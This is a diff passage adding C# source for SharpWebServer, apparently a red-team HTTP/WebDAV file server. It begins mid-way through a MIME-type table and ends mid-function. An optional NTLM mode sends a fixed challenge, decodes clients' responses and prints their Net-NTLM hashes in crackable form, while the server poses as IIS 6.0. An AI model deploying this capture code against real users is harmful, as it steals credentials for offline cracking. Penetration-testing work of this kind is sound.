+             {".pml", "application/vnd.ctc-posml"},
+             {".png", "image/png"},
+             {".pnm", "image/x-portable-anymap"},
+             {".portpkg", "application/vnd.macports.portpkg"},
+             {".pot", "application/vnd.ms-powerpoint"},
+             {".potm", "application/vnd.ms-powerpoint.template.macroenabled.12"},
+             {".potx", "application/vnd.openxmlformats-officedocument.presentationml.template"},
+             {".ppa", "application/vnd.ms-powerpoint"},
+             {".ppam", "application/vnd.ms-powerpoint.addin.macroenabled.12"},
+             {".ppd", "application/vnd.cups-ppd"},
+             {".ppm", "image/x-portable-pixmap"},
+             {".pps", "application/vnd.ms-powerpoint"},
+             {".ppsm", "application/vnd.ms-powerpoint.slideshow.macroenabled.12"},
+             {".ppsx", "application/vnd.openxmlformats-officedocument.presentationml.slideshow"},
+             {".ppt", "application/vnd.ms-powerpoint"},
+             {".pptm", "application/vnd.ms-powerpoint.presentation.macroenabled.12"},
+             {".pptx", "application/vnd.openxmlformats-officedocument.presentationml.presentation"},
+             {".pqa", "application/vnd.palm"},
+             {".prc", "application/x-mobipocket-ebook"},
+             {".pre", "application/vnd.lotus-freelance"},
+             {".prf", "application/pics-rules"},
+             {".ps", "application/postscript"},
+             {".psb", "application/vnd.3gpp.pic-bw-small"},
+             {".psd", "image/vnd.adobe.photoshop"},
+             {".psf", "application/x-font-linux-psf"},
+             {".ptid", "application/vnd.pvi.ptid1"},
+             {".pub", "application/x-mspublisher"},
+             {".pvb", "application/vnd.3gpp.pic-bw-var"},
+             {".pwn", "application/vnd.3m.post-it-notes"},
+             {".pwz", "application/vnd.ms-powerpoint"},
+             {".py", "text/x-python"},
+             {".pya", "audio/vnd.ms-playready.media.pya"},
+             {".pyc", "application/x-python-code"},
+             {".pyo", "application/x-python-code"},
+             {".pyv", "video/vnd.ms-playready.media.pyv"},
+             {".qam", "application/vnd.epson.quickanime"},
+             {".qbo", "application/vnd.intu.qbo"},
+             {".qfx", "application/vnd.intu.qfx"},
+             {".qps", "application/vnd.publishare-delta-tree"},
+             {".qt", "video/quicktime"},
+             {".qwd", "application/vnd.quark.quarkxpress"},
+             {".qwt", "application/vnd.quark.quarkxpress"},
+             {".qxb", "application/vnd.quark.quarkxpress"},
+             {".qxd", "application/vnd.quark.quarkxpress"},
+             {".qxl", "application/vnd.quark.quarkxpress"},
+             {".qxt", "application/vnd.quark.quarkxpress"},
+             {".ra", "audio/x-pn-realaudio"},
+             {".ram", "audio/x-pn-realaudio"},
+             {".rar", "application/x-rar-compressed"},
+             {".ras", "image/x-cmu-raster"},
+             {".rcprofile", "application/vnd.ipunplugged.rcprofile"},
+             {".rdf", "application/rdf+xml"},
+             {".rdz", "application/vnd.data-vision.rdz"},
+             {".rep", "application/vnd.businessobjects"},
+             {".res", "application/x-dtbresource+xml"},
+             {".rgb", "image/x-rgb"},
+             {".rif", "application/reginfo+xml"},
+             {".rl", "application/resource-lists+xml"},
+             {".rlc", "image/vnd.fujixerox.edmics-rlc"},
+             {".rld", "application/resource-lists-diff+xml"},
+             {".rm", "application/vnd.rn-realmedia"},
+             {".rmi", "audio/midi"},
+             {".rmp", "audio/x-pn-realaudio-plugin"},
+             {".rms", "application/vnd.jcp.javame.midlet-rms"},
+             {".rnc", "application/relax-ng-compact-syntax"},
+             {".roff", "text/troff"},
+             {".rpm", "application/x-rpm"},
+             {".rpss", "application/vnd.nokia.radio-presets"},
+             {".rpst", "application/vnd.nokia.radio-preset"},
+             {".rq", "application/sparql-query"},
+             {".rs", "application/rls-services+xml"},
+             {".rsd", "application/rsd+xml"},
+             {".rss", "application/rss+xml"},
+             {".rtf", "application/rtf"},
+             {".rtx", "text/richtext"},
+             {".s", "text/x-asm"},
+             {".saf", "application/vnd.yamaha.smaf-audio"},
+             {".sbml", "application/sbml+xml"},
+             {".sc", "application/vnd.ibm.secure-container"},
+             {".scd", "application/x-msschedule"},
+             {".scm", "application/vnd.lotus-screencam"},
+             {".scq", "application/scvp-cv-request"},
+             {".scs", "application/scvp-cv-response"},
+             {".scurl", "text/vnd.curl.scurl"},
+             {".sda", "application/vnd.stardivision.draw"},
+             {".sdc", "application/vnd.stardivision.calc"},
+             {".sdd", "application/vnd.stardivision.impress"},
+             {".sdkd", "application/vnd.solent.sdkm+xml"},
+             {".sdkm", "application/vnd.solent.sdkm+xml"},
+             {".sdp", "application/sdp"},
+             {".sdw", "application/vnd.stardivision.writer"},
+             {".see", "application/vnd.seemail"},
+             {".seed", "application/vnd.fdsn.seed"},
+             {".sema", "application/vnd.sema"},
+             {".semd", "application/vnd.semd"},
+             {".semf", "application/vnd.semf"},
+             {".ser", "application/java-serialized-object"},
+             {".setpay", "application/set-payment-initiation"},
+             {".setreg", "application/set-registration-initiation"},
+             {".sfd-hdstx", "application/vnd.hydrostatix.sof-data"},
+             {".sfs", "application/vnd.spotfire.sfs"},
+             {".sgl", "application/vnd.stardivision.writer-global"},
+             {".sgm", "text/sgml"},
+             {".sgml", "text/sgml"},
+             {".sh", "application/x-sh"},
+             {".shar", "application/x-shar"},
+             {".shf", "application/shf+xml"},
+             {".si", "text/vnd.wap.si"},
+             {".sic", "application/vnd.wap.sic"},
+             {".sig", "application/pgp-signature"},
+             {".silo", "model/mesh"},
+             {".sis", "application/vnd.symbian.install"},
+             {".sisx", "application/vnd.symbian.install"},
+             {".sit", "application/x-stuffit"},
+             {".sitx", "application/x-stuffitx"},
+             {".skd", "application/vnd.koan"},
+             {".skm", "application/vnd.koan"},
+             {".skp", "application/vnd.koan"},
+             {".skt", "application/vnd.koan"},
+             {".sl", "text/vnd.wap.sl"},
+             {".slc", "application/vnd.wap.slc"},
+             {".sldm", "application/vnd.ms-powerpoint.slide.macroenabled.12"},
+             {".sldx", "application/vnd.openxmlformats-officedocument.presentationml.slide"},
+             {".slt", "application/vnd.epson.salt"},
+             {".smf", "application/vnd.stardivision.math"},
+             {".smi", "application/smil+xml"},
+             {".smil", "application/smil+xml"},
+             {".snd", "audio/basic"},
+             {".snf", "application/x-font-snf"},
+             {".so", "application/octet-stream"},
+             {".spc", "application/x-pkcs7-certificates"},
+             {".spf", "application/vnd.yamaha.smaf-phrase"},
+             {".spl", "application/x-futuresplash"},
+             {".spot", "text/vnd.in3d.spot"},
+             {".spp", "application/scvp-vp-response"},
+             {".spq", "application/scvp-vp-request"},
+             {".spx", "audio/ogg"},
+             {".src", "application/x-wais-source"},
+             {".srx", "application/sparql-results+xml"},
+             {".sse", "application/vnd.kodak-descriptor"},
+             {".ssf", "application/vnd.epson.ssf"},
+             {".ssml", "application/ssml+xml"},
+             {".stc", "application/vnd.sun.xml.calc.template"},
+             {".std", "application/vnd.sun.xml.draw.template"},
+             {".stf", "application/vnd.wt.stf"},
+             {".sti", "application/vnd.sun.xml.impress.template"},
+             {".stk", "application/hyperstudio"},
+             {".stl", "application/vnd.ms-pki.stl"},
+             {".str", "application/vnd.pg.format"},
+             {".stw", "application/vnd.sun.xml.writer.template"},
+             {".sus", "application/vnd.sus-calendar"},
+             {".susp", "application/vnd.sus-calendar"},
+             {".sv4cpio", "application/x-sv4cpio"},
+             {".sv4crc", "application/x-sv4crc"},
+             {".svd", "application/vnd.svd"},
+             {".svg", "image/svg+xml"},
+             {".svgz", "image/svg+xml"},
+             {".swa", "application/x-director"},
+             {".swf", "application/x-shockwave-flash"},
+             {".swi", "application/vnd.arastra.swi"},
+             {".sxc", "application/vnd.sun.xml.calc"},
+             {".sxd", "application/vnd.sun.xml.draw"},
+             {".sxg", "application/vnd.sun.xml.writer.global"},
+             {".sxi", "application/vnd.sun.xml.impress"},
+             {".sxm", "application/vnd.sun.xml.math"},
+             {".sxw", "application/vnd.sun.xml.writer"},
+             {".t", "text/troff"},
+             {".tao", "application/vnd.tao.intent-module-archive"},
+             {".tar", "application/x-tar"},
+             {".tcap", "application/vnd.3gpp2.tcap"},
+             {".tcl", "application/x-tcl"},
+             {".teacher", "application/vnd.smart.teacher"},
+             {".tex", "application/x-tex"},
+             {".texi", "application/x-texinfo"},
+             {".texinfo", "application/x-texinfo"},
+             {".text", "text/plain"},
+             {".tfm", "application/x-tex-tfm"},
+             {".tgz", "application/x-gzip"},
+             {".tif", "image/tiff"},
+             {".tiff", "image/tiff"},
+             {".tmo", "application/vnd.tmobile-livetv"},
+             {".torrent", "application/x-bittorrent"},
+             {".tpl", "application/vnd.groove-tool-template"},
+             {".tpt", "application/vnd.trid.tpt"},
+             {".tr", "text/troff"},
+             {".tra", "application/vnd.trueapp"},
+             {".trm", "application/x-msterminal"},
+             {".tsv", "text/tab-separated-values"},
+             {".ttc", "application/x-font-ttf"},
+             {".ttf", "application/x-font-ttf"},
+             {".twd", "application/vnd.simtech-mindmapper"},
+             {".twds", "application/vnd.simtech-mindmapper"},
+             {".txd", "application/vnd.genomatix.tuxedo"},
+             {".txf", "application/vnd.mobius.txf"},
+             {".txt", "text/plain"},
+             {".u32", "application/x-authorware-bin"},
+             {".udeb", "application/x-debian-package"},
+             {".ufd", "application/vnd.ufdl"},
+             {".ufdl", "application/vnd.ufdl"},
+             {".umj", "application/vnd.umajin"},
+             {".unityweb", "application/vnd.unity"},
+             {".uoml", "application/vnd.uoml+xml"},
+             {".uri", "text/uri-list"},
+             {".uris", "text/uri-list"},
+             {".urls", "text/uri-list"},
+             {".ustar", "application/x-ustar"},
+             {".utz", "application/vnd.uiq.theme"},
+             {".uu", "text/x-uuencode"},
+             {".vcd", "application/x-cdlink"},
+             {".vcf", "text/x-vcard"},
+             {".vcg", "application/vnd.groove-vcard"},
+             {".vcs", "text/x-vcalendar"},
+             {".vcx", "application/vnd.vcx"},
+             {".vis", "application/vnd.visionary"},
+             {".viv", "video/vnd.vivo"},
+             {".vor", "application/vnd.stardivision.writer"},
+             {".vox", "application/x-authorware-bin"},
+             {".vrml", "model/vrml"},
+             {".vsd", "application/vnd.visio"},
+             {".vsf", "application/vnd.vsf"},
+             {".vss", "application/vnd.visio"},
+             {".vst", "application/vnd.visio"},
+             {".vsw", "application/vnd.visio"},
+             {".vtu", "model/vnd.vtu"},
+             {".vxml", "application/voicexml+xml"},
+             {".w3d", "application/x-director"},
+             {".wad", "application/x-doom"},
+             {".wav", "audio/x-wav"},
+             {".wax", "audio/x-ms-wax"},
+             {".wbmp", "image/vnd.wap.wbmp"},
+             {".wbs", "application/vnd.criticaltools.wbs+xml"},
+             {".wbxml", "application/vnd.wap.wbxml"},
+             {".wcm", "application/vnd.ms-works"},
+             {".wdb", "application/vnd.ms-works"},
+             {".wiz", "application/msword"},
+             {".wks", "application/vnd.ms-works"},
+             {".wm", "video/x-ms-wm"},
+             {".wma", "audio/x-ms-wma"},
+             {".wmd", "application/x-ms-wmd"},
+             {".wmf", "application/x-msmetafile"},
+             {".wml", "text/vnd.wap.wml"},
+             {".wmlc", "application/vnd.wap.wmlc"},
+             {".wmls", "text/vnd.wap.wmlscript"},
+             {".wmlsc", "application/vnd.wap.wmlscriptc"},
+             {".wmv", "video/x-ms-wmv"},
+             {".wmx", "video/x-ms-wmx"},
+             {".wmz", "application/x-ms-wmz"},
+             {".wpd", "application/vnd.wordperfect"},
+             {".wpl", "application/vnd.ms-wpl"},
+             {".wps", "application/vnd.ms-works"},
+             {".wqd", "application/vnd.wqd"},
+             {".wri", "application/x-mswrite"},
+             {".wrl", "model/vrml"},
+             {".wsdl", "application/wsdl+xml"},
+             {".wspolicy", "application/wspolicy+xml"},
+             {".wtb", "application/vnd.webturbo"},
+             {".wvx", "video/x-ms-wvx"},
+             {".x32", "application/x-authorware-bin"},
+             {".x3d", "application/vnd.hzn-3d-crossword"},
+             {".xap", "application/x-silverlight-app"},
+             {".xar", "application/vnd.xara"},
+             {".xbap", "application/x-ms-xbap"},
+             {".xbd", "application/vnd.fujixerox.docuworks.binder"},
+             {".xbm", "image/x-xbitmap"},
+             {".xdm", "application/vnd.syncml.dm+xml"},
+             {".xdp", "application/vnd.adobe.xdp+xml"},
+             {".xdw", "application/vnd.fujixerox.docuworks"},
+             {".xenc", "application/xenc+xml"},
+             {".xer", "application/patch-ops-error+xml"},
+             {".xfdf", "application/vnd.adobe.xfdf"},
+             {".xfdl", "application/vnd.xfdl"},
+             {".xht", "application/xhtml+xml"},
+             {".xhtml", "application/xhtml+xml"},
+             {".xhvml", "application/xv+xml"},
+             {".xif", "image/vnd.xiff"},
+             {".xla", "application/vnd.ms-excel"},
+             {".xlam", "application/vnd.ms-excel.addin.macroenabled.12"},
+             {".xlb", "application/vnd.ms-excel"},
+             {".xlc", "application/vnd.ms-excel"},
+             {".xlm", "application/vnd.ms-excel"},
+             {".xls", "application/vnd.ms-excel"},
+             {".xlsb", "application/vnd.ms-excel.sheet.binary.macroenabled.12"},
+             {".xlsm", "application/vnd.ms-excel.sheet.macroenabled.12"},
+             {".xlsx", "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet"},
+             {".xlt", "application/vnd.ms-excel"},
+             {".xltm", "application/vnd.ms-excel.template.macroenabled.12"},
+             {".xltx", "application/vnd.openxmlformats-officedocument.spreadsheetml.template"},
+             {".xlw", "application/vnd.ms-excel"},
+             {".xml", "application/xml"},
+             {".xo", "application/vnd.olpc-sugar"},
+             {".xop", "application/xop+xml"},
+             {".xpdl", "application/xml"},
+             {".xpi", "application/x-xpinstall"},
+             {".xpm", "image/x-xpixmap"},
+             {".xpr", "application/vnd.is-xpr"},
+             {".xps", "application/vnd.ms-xpsdocument"},
+             {".xpw", "application/vnd.intercon.formnet"},
+             {".xpx", "application/vnd.intercon.formnet"},
+             {".xsl", "application/xml"},
+             {".xslt", "application/xslt+xml"},
+             {".xsm", "application/vnd.syncml+xml"},
+             {".xspf", "application/xspf+xml"},
+             {".xul", "application/vnd.mozilla.xul+xml"},
+             {".xvm", "application/xv+xml"},
+             {".xvml", "application/xv+xml"},
+             {".xwd", "image/x-xwindowdump"},
+             {".xyz", "chemical/x-xyz"},
+             {".zaz", "application/vnd.zzazz.deck+xml"},
+             {".zip", "application/zip"},
+             {".zir", "application/vnd.zul"},
+             {".zirz", "application/vnd.zul"},
+             {".zmm", "application/vnd.handheld-entertainment+xml" }
+            #endregion
+        };
+        private TcpListener _listener;
+        private string _RootDirectory;
+        private bool _AllowCors;
+        private bool _Verbose;
+        private bool _NTLM;
+        private int _Port;
+
+        public SharpWebServer(string directoryPath, int port, bool ntlm = false, bool verbose = false)
+        {
+            _RootDirectory = directoryPath;
+            _AllowCors = false;
+            _Verbose = verbose;
+            _NTLM = ntlm;
+            _Port = port;
+        }
+
+        private void Initialize()
+        {
+            _listener = new TcpListener(System.Net.IPAddress.Any, _Port);
+            try
+            {
+                _listener.Start();
+            }
+            catch(Exception ex)
+            {
+                Console.WriteLine($"[!] Could not instantiate TCP listener: Port already taken?\n    Exception: {ex}");
+                System.Environment.Exit(0);
+            }
+
+            ThreadPool.QueueUserWorkItem(Listen, null);
+        }
+
+        public void Stop()
+        {
+            if (_listener != null)
+            {
+                _listener.Stop();
+                _listener = null;
+            }
+        }
+
+        private void Log(string txt)
+        {
+            if (_Verbose)
+            {
+                Output("SharpWebServer [" + DateTime.Now.ToString("dd.MM.yy, HH:mm:ss") + $"] {txt}");
+            }
+        }
+
+        private void Listen(object token)
+        {
+            while(_listener != null)
+            {
+                try
+                {
+                    var client = _listener.AcceptTcpClient();
+                    ThreadPool.QueueUserWorkItem(HandleClient, client);
+                }
+                catch (Exception e)
+                {
+                    Output($"[*] Exception occurred : {e.Message}");
+                }
+            }
+        }
+
+        public struct MyRequest
+        {
+            public IPEndPoint remoteEndpoint;
+            public IPEndPoint localEndpoint;
+            public string PeerIP;
+            public string HttpMethod;
+            public string Uri;
+            public string HttpVersion;
+            public string Body;
+            public Dictionary<string, string> Headers;
+        }
+
+        private struct MyResponse
+        {
+            public Dictionary<string, string> Headers;
+            public string HttpVersion;
+            public int StatusCode;
+            public string StatusMessage;
+            public byte[] Output;
+            public string ContentType;
+            public long ContentLength;
+        }
+
+        private void SocketSetKeepAlive(TcpClient client)
+        {
+            // https://darchuk.net/2019/01/04/c-setting-socket-keep-alive/
+
+            // Get the size of the uint to use to back the byte array
+            int size = Marshal.SizeOf((uint)0);
+
+            // Create the byte array
+            byte[] keepAlive = new byte[size * 3];
+
+            // Pack the byte array:
+
+            // Turn keepalive on
+            Buffer.BlockCopy(BitConverter.GetBytes((uint)1), 0, keepAlive, 0, size);
+
+            // Set amount of time without activity before sending a keepalive to 5 seconds
+            Buffer.BlockCopy(BitConverter.GetBytes((uint)5000), 0, keepAlive, size, size);
+
+            // Set keepalive interval to 5 seconds
+            Buffer.BlockCopy(BitConverter.GetBytes((uint)5000), 0, keepAlive, size * 2, size);
+
+            // Set the keep-alive settings on the underlying Socket
+            client.Client.IOControl(IOControlCode.KeepAliveValues, keepAlive, null);
+        }
+
+        private void HandleClient(object token)
+        {
+            try
+            {
+                var client = token as TcpClient;
+                string peerIP = ((IPEndPoint)client.Client.RemoteEndPoint).Address.ToString();
+                var stream = client.GetStream();
+
+                using (var reader = new StreamReader(stream))
+                {
+                    var writer = new StreamWriter(stream);
+                    var requestFinished = 0;
+                    var state = 0;
+
+                    var response = new MyResponse
+                    {
+                        Headers = new Dictionary<string, string>(),
+                        Output = null,
+                        HttpVersion = "HTTP/1.1",
+                        ContentType = "",
+                    };
+
+                    var request = new MyRequest
+                    {
+                        Headers = new Dictionary<string, string>(StringComparer.InvariantCultureIgnoreCase),
+                        remoteEndpoint = ((IPEndPoint)client.Client.RemoteEndPoint),
+                        localEndpoint = ((IPEndPoint)client.Client.LocalEndPoint),
+                    };
+
+                    while (requestFinished == 0)
+                    {
+                        if (state == 0)
+                        {
+                            var lineInput = reader.ReadLine();
+                            if(lineInput == null || lineInput.Length == 0 || lineInput.IndexOf(' ') == -1)
+                            {
+                                requestFinished = 1;
+                                client.Close();
+                                break;
+                            }
+
+                            var line = lineInput.Split(' ');
+
+                            request.HttpMethod = line[0];
+                            request.Uri = line[1];
+                            request.HttpVersion = line[2];
+                            state = 1;
+                        }
+                        else
+                        {
+                            var lineInput = reader.ReadLine();
+                            if (lineInput == "")
+                            {
+                                request.Body = "";
+                                int peekChar = 0;
+
+                                while((peekChar = reader.Peek()) != -1)
+                                {
+                                    request.Body += (char)reader.Read();
+                                }
+
+                                Process(ref request, ref response);
+                                var output = PrepareResponse(ref request, ref response);
+
+                                writer.BaseStream.Write(output, 0, output.Length);
+                                writer.Flush();
+
+                                System.Threading.Thread.Sleep(500);
+
+                                if (response.Headers.ContainsKey("Connection") && response.Headers["Connection"].ToLower().Equals("close"))
+                                {
+                                    requestFinished = 1;
+                                    client.Close();
+                                }
+                                else
+                                {
+                                    SocketSetKeepAlive(client);
+
+                                    state = 0;
+                                    response = new MyResponse
+                                    {
+                                        Headers = new Dictionary<string, string>(),
+                                        Output = null,
+                                        HttpVersion = "HTTP/1.1",
+                                        ContentType = ""
+                                    };
+                                    request = new MyRequest
+                                    {
+                                        Headers = new Dictionary<string, string>(StringComparer.InvariantCultureIgnoreCase),
+                                        remoteEndpoint = ((IPEndPoint)client.Client.RemoteEndPoint),
+                                        localEndpoint = ((IPEndPoint)client.Client.LocalEndPoint),
+                                    };
+                                }
+                            }
+                            else
+                            {
+                                var pos = lineInput.IndexOf(':');
+                                if(pos != -1 && (pos + 1) < lineInput.Length)
+                                {
+                                    request.Headers.Add(lineInput.Substring(0, pos), lineInput.Substring(pos+1).TrimStart());
+                                }
+                            }
+                        }
+                    }
+                }
+            }
+            catch (Exception e)
+            {
+                Output($"[*] Exception occurred : {e.Message}");
+            }
+        }
+
+        private byte[] PrepareResponse(ref MyRequest request, ref MyResponse response)
+        {
+            if (response.ContentLength > 0 && !response.Headers.ContainsKey("content-length"))
+            {
+                response.Headers.Add("Content-Length", response.ContentLength.ToString());
+            }
+
+            if(!response.Headers.ContainsKey("Content-Type") && response.ContentType.Length > 0)
+            {
+                response.Headers.Add("Content-Type", response.ContentType);
+            }
+
+            response.Headers.Add("Server", "Microsoft-IIS/6.0");
+            response.Headers.Add("Date", DateTime.Now.ToString("r"));
+
+            using (var outp = new MemoryStream())
+            {
+                using (var writer = new StreamWriter(outp))
+                {
+                    writer.Write($"{response.HttpVersion} {response.StatusCode} {response.StatusMessage}\r\n");
+                    foreach (var k in response.Headers.Keys)
+                    {
+                        writer.Write($"{k}: {response.Headers[k]}\r\n");
+                    }
+
+                    writer.Write("\r\n");
+                    writer.Flush();
+
+                    if (response.Output != null && response.Output.Length > 0)
+                    {
+                        writer.BaseStream.Write(response.Output, 0, response.Output.Length);
+                    }
+
+                    return outp.ToArray();
+                }
+            }
+        }
+
+        private static string DecodeNTLM(byte[] NTLM)
+        {
+            var LMHash_len = BitConverter.ToInt16(NTLM, 12);
+            var LMHash_offset = BitConverter.ToInt16(NTLM, 16);
+            var LMHash = NTLM.Skip(LMHash_offset).Take(LMHash_len).ToArray();
+            var NTHash_len = BitConverter.ToInt16(NTLM, 20);
+            var NTHash_offset = BitConverter.ToInt16(NTLM, 24);
+            var NTHash = NTLM.Skip(NTHash_offset).Take(NTHash_len).ToArray();
+            var User_len = BitConverter.ToInt16(NTLM, 36);
+            var User_offset = BitConverter.ToInt16(NTLM, 40);
+            var User = NTLM.Skip(User_offset).Take(User_len).ToArray();
+            var UserString = System.Text.Encoding.Unicode.GetString(User);
+
+            if (NTHash_len == 24)
+            {  
+                // NTLMv1
+                var HostName_len = BitConverter.ToInt16(NTLM, 46);
+                var HostName_offset = BitConverter.ToInt16(NTLM, 48);
+                var HostName = NTLM.Skip(HostName_offset).Take(HostName_len).ToArray();
+                var HostNameString = System.Text.Encoding.Unicode.GetString(HostName);
+                var retval = UserString + "::" + HostNameString + ":" + LMHash + ":" + NTHash + ":1122334455667788";
+                return retval;
+            }
+            else if (NTHash_len > 24)
+            { 
+                // NTLMv2
+                NTHash_len = 64;
+                var Domain_len = BitConverter.ToInt16(NTLM, 28);
+                var Domain_offset = BitConverter.ToInt16(NTLM, 32);
+                var Domain = NTLM.Skip(Domain_offset).Take(Domain_len).ToArray();
+                var DomainString = System.Text.Encoding.Unicode.GetString(Domain);
+                var HostName_len = BitConverter.ToInt16(NTLM, 44);
+                var HostName_offset = BitConverter.ToInt16(NTLM, 48);
+                var HostName = NTLM.Skip(HostName_offset).Take(HostName_len).ToArray();
+                var HostNameString = System.Text.Encoding.Unicode.GetString(HostName);
+
+                var NTHash_part1 = System.BitConverter.ToString(NTHash.Take(16).ToArray()).Replace("-", "");
+                var NTHash_part2 = BitConverter.ToString(NTHash.Skip(16).Take(NTLM.Length).ToArray()).Replace("-", "");
+                var retval = UserString + "::" + DomainString + ":1122334455667788:" + NTHash_part1 + ":" + NTHash_part2;
+                return retval;
+            }
+
+            Output("[!] SharpWebServer: Could not parse NTLM hash");
+            return "";
+        }
+
+        private void Process(ref MyRequest request, ref MyResponse response)
+        {
+            bool process = true;
+            if(_NTLM)
+            {
+                if (!request.Headers.ContainsKey("authorization"))
+                {
+                    response.StatusCode = (int)HttpStatusCode.Unauthorized;
+                    response.StatusMessage = "Unauthorized";
+                    response.HttpVersion = "HTTP/1.1";
+                    response.Headers.Add("WWW-Authenticate", "NTLM");
+                    response.Headers.Add("Connection", "keep-alive");
+                    response.Headers.Add("Content-Length", "0");
+
+                    process = false;
+                    Log("NTLM: Sending 401 Unauthorized due to lack of Authorization header.");
+                }
+                else
+                {
+                    var auth = request.Headers["authorization"].Split();
+                    process = false;
+
+                    if (auth[0] == "NTLM")
+                    {
+                        auth[1] = auth[1].TrimStart();
+                        byte[] NTLMHash = System.Convert.FromBase64String(auth[1]);
+
+                        // NTLM type 3 message - client's response
+                        if (NTLMHash[8] == 3)
+                        {
+                            var NTLMHashString = DecodeNTLM(NTLMHash);
+                            Output("\n[+] SharpWebServer: Net-NTLM hash captured:");
+                            Output(NTLMHashString + "\n");
+                            process = true;
+                        }
+                    }
+
+                    if(!process)
+                    {
+                        Log("NTLM: Sending 401 Unauthorized with NTLM Challenge Response.");
+
+                        response.StatusCode = (int)HttpStatusCode.Unauthorized;
+                        response.StatusMessage = "Unauthorized";
+                        response.Headers.Add("WWW-Authenticate", "NTLM TlRMTVNTUAACAAAABgAGADgAAAAFAomiESIzRFVmd4gAAAAAAAAAAIAAgAA+AAAABQLODgAAAA9TAE0AQgACAAYAUwBNAEIAAQAWAFMATQBCAC0AVABPAE8ATABLAEkAVAAEABIAcwBtAGIALgBsAG8AYwBhAGwAAwAoAHMAZQByAHYAZQByADIAMAAwADMALgBzAG0AYgAuAGwAbwBjAGEAbAAFABIAcwBtAGIALgBsAG8AYwBhAGwAAAAAAA==");
+                        response.Headers.Add("Connection", "keep-alive");
+                        response.Headers.Add("Content-Length", "0");
+                    }
+                }
+            }
+
+            if (process)
+            {
+                if (request.HttpMethod.ToLower() == "get")
+                    OnProcessGET(ref request, ref response);
+
+                else if (request.HttpMethod.ToLower() == "head")
+                    OnProcessHEAD(ref request, ref response);
+
+                else if (request.HttpMethod.ToLower() == "options")
+                    OnProcessOPTIONS(ref request, ref response);
+
+                else if (request.HttpMethod.ToLower() == "propfind")
+                    OnProcessPROPFIND(ref request, ref response);
+
+                response.Headers.Add("Connection", "Close");
+            }
+
+            long sizeInBytes = 0;
+            if(response.ContentLength > 0)
+            {
+                sizeInBytes = response.ContentLength;
+            }
+
+            Log($"{request.PeerIP} - \"{request.HttpMethod} {request.Uri}\" - len: {sizeInBytes} ({response.StatusCode})");
+        }
+
+        private void OnProcessOPTIONS(ref MyRequest request, ref MyResponse response)
+        {
+            try
+            {
+                response.StatusCode = (int)HttpStatusCode.OK;
+                response.StatusMessage = "OK";
+                response.Headers.Add("Allow", "GET, HEAD, OPTIONS, PROPFIND");
+                response.Headers.Add("Dav", "1,2");
+                response.Headers.Add("MS-Author-Via", "DAV");
+            }
+            catch (Exception ex)
+            {
+                response.StatusCode = (int)HttpStatusCode.InternalServerError;
+                response.StatusMessage = "Internal Server Error";
+                Output($"[!] Exception occured in OPTIONS : {ex}");
+            }
+        }
+
+        private void OnProcessGET(ref MyRequest request, ref MyResponse response)
+        {
+            string fileName = null;
+            try
+            {
+                fileName = GetRequestedFileName(ref request);
+                string filePath = fileName == null ? null : Path.Combine(_RootDirectory, fileName);
+
+                if(filePath == null || filePath.Length == 0)
+                {
+                    response.StatusCode = (int)HttpStatusCode.OK;
+                    response.StatusMessage = "OK";
+                    return;
+                }
+                else if (!File.Exists(filePath))
+                {
+                    response.StatusCode = (int)HttpStatusCode.NotFound;
+                    response.StatusMessage = "Not Found";
+                    return;
+                }
+
+                ReturnFile(filePath, ref response);
+            }
+            catch (Exception ex)
+            {
+                response.StatusCode = (int)HttpStatusCode.InternalServerError;
+                response.StatusMessage = "Internal Server Error";
+                Output($"[!] Exception occured while serving file: {fileName} . Exception: {ex}");
+            }
+        }
+
+        private void OnProcessHEAD(ref MyRequest request, ref MyResponse response)
+        {
+            string fileName = null;
+            try
+            {
+                fileName = GetRequestedFileName(ref request);
+                string filePath = fileName == null ? null : Path.Combine(_RootDirectory, fileName);
+
+                if (filePath.Length == 0)
+                {
+                    response.StatusCode = (int)HttpStatusCode.OK;
+                    response.StatusMessage = "OK";
+                }
+                else if (filePath == null || !File.Exists(filePath))
+                {
+                    response.StatusCode = (int)HttpStatusCode.NotFound;
+                    response.StatusMessage = "Not Found";
+                }
+
+                return;
+            }
+            catch (Exception ex)
+            {
+                response.StatusCode = (int)HttpStatusCode.InternalServerError;
+                response.StatusMessage = "Internal Server Error";
+                Output($"[!] Exception occured while serving file: {fileName} . Exception: {ex}");
+            }
+        }
+
+        private void OnProcessPROPFIND(ref MyRequest request, ref MyResponse response)
+        {
+            string fileName = null;
+            try
+            {
+                fileName = GetRequestedFileName(ref request);
+                string filePath = fileName == null ? null : Path.Combine(_RootDirectory, fileName);
+
+                if (filePath.Length == 0 || filePath == null)
+                {
+                    filePath = _RootDirectory;
+                }
+
+                if (File.Exists(filePath) || Directory.Exists(filePath))
+                {
+                    ProcessPropfind(filePath, ref request, ref response);
+                }
+                else
+                {
+                    response.StatusCode = (int)HttpStatusCode.NotFound;
+                    response.StatusMessage = "Not Found";
+                }
+            }
+            catch (Exception ex)
+            {
+                response.StatusCode = (int)HttpStatusCode.InternalServerError;
+                response.StatusMessage = "Internal Server Error";
+                Output($"[!] Exception occured while serving file: {fileName} . Exception: {ex}");
+            }
+        }
+
+        private void GeneratePropfindXml(ref XmlWriter writer, bool isFile, string filePath, ref MyRequest request, ref MyResponse response, int depth = 0)
+        {
+            string host = request.localEndpoint.ToString();
+            if (request.Headers.ContainsKey("host")) host = request.Headers["Host"];
+
+            string path = filePath.Replace(_RootDirectory, "").Replace('\\', '/');
+            if (path.StartsWith("/")) path = path.Substring(1);
+            if (!isFile && path.EndsWith("/")) path = path.Substring(0, path.Length - 1);
+
+            string serverUrl = "http://" + host + "/" + path;
+
+            writer.WriteStartElement("D", "response", "DAV:");
+            writer.WriteAttributeString("xmlns", "ns1", null, "NS2");
+            writer.WriteStartElement("D", "href", "DAV:");
+            writer.WriteString(serverUrl);
+            writer.WriteEndElement();
+            writer.WriteStartElement("D", "propstat", "DAV:");
+            writer.WriteStartElement("D", "prop", "DAV:");
+
+            writer.WriteStartElement("D", "creationdate", "DAV:");
+            DateTime creation = File.GetCreationTime(filePath);
+            writer.WriteString(creation.ToString("yyyy-MM-ddTHH:mm:ssZ"));
+            writer.WriteEndElement(); //creationdate
+
+            writer.WriteStartElement("D", "getcontentlength", "DAV:");
+
+            if (isFile)
+            {
+                var size = new System.IO.FileInfo(filePath).Length;
+                writer.WriteString(size.ToString());
+            }
+            else
+            {
+                writer.WriteString("0");
+            }
+
+            writer.WriteEndElement(); //getcontentlength
+
+            if (!isFile)
+            {
+                writer.WriteStartElement("D", "getcontenttype", "DAV:");
